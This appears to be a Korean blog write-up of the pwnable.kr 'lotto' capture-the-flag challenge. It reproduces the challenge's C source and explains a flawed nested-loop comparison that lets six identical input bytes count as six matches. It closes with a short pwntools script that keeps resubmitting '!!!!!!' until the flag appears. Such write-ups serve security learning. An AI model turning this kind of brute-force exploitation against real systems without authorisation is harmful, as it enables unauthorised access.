Pwnable.kr
Lotto
amoogotomollayo
2022. 4. 1. 13:58
더보기
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
unsigned char submit[6];
void play(){
int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);
int r;
r = read(0, submit, 6);
printf("Lotto Start!\n");
//sleep(1);
// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}
}
void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
int main(int argc, char* argv[]){
// menu
unsigned int menu;
while(1){
printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");
scanf("%d", &menu);
switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}
문제에서 제공하는 소스 코드입니다.
프로그램을 실행하면 맨 처음 위와 같은 화면이 나옵니다.
1번을 입력하면 로또 게임을 시작합니다.
2번을 입력하면 도움말을 출력합니다.
3번을 입력하면 게임을 종료합니다.
게임 관련 함수를 보겠습니다.
void play(){
int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);
int r;
r = read(0, submit, 6);
printf("Lotto Start!\n");
//sleep(1);
// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}
}
사용자가 입력한 6byte의 문자열과 /dev/urandom에서 가져온 6byte를 각각 % 45 + 1을 한 뒤 이중 for문으로 비교를 합니다.
lotto 배열과 submit 배열을 비교합니다.
값이 같으면 match++를 하고 match 변수의 값이 6이면 FLAG를 출력합니다.
이때 lotto 배열 값 하나씩 사용자가 입력한 배열 전체를 비교합니다.
그래서 만약 똑같은 값으로 모두 채운다면 lotto 배열에 있는 값 중 하나만 맞아도 match 변수의 값이 6이 돼 FLAG를 획득할 수 있습니다.
그래서 "111111"을 계속 입력해 FLAG가 나올 때까지 실행하였습니다.
코드와 결과는 아래와 같습니다.
/tmp/aaa에서 실행됐기 때문에 /home/lotto/flag에 대한 심볼릭 링크를 생성하였습니다.
from pwn import *
context.log_level = 'debug'
while True:
r = process("/home/lotto/lotto")
r.sendline("1")
r.sendlineafter("bytes : ", "!!!!!!")
r.recvline().decode()
ans = r.recvline().decode()
print(ans)
if "bad" not in ans :
print(ans)
break
else :
r.close()
continue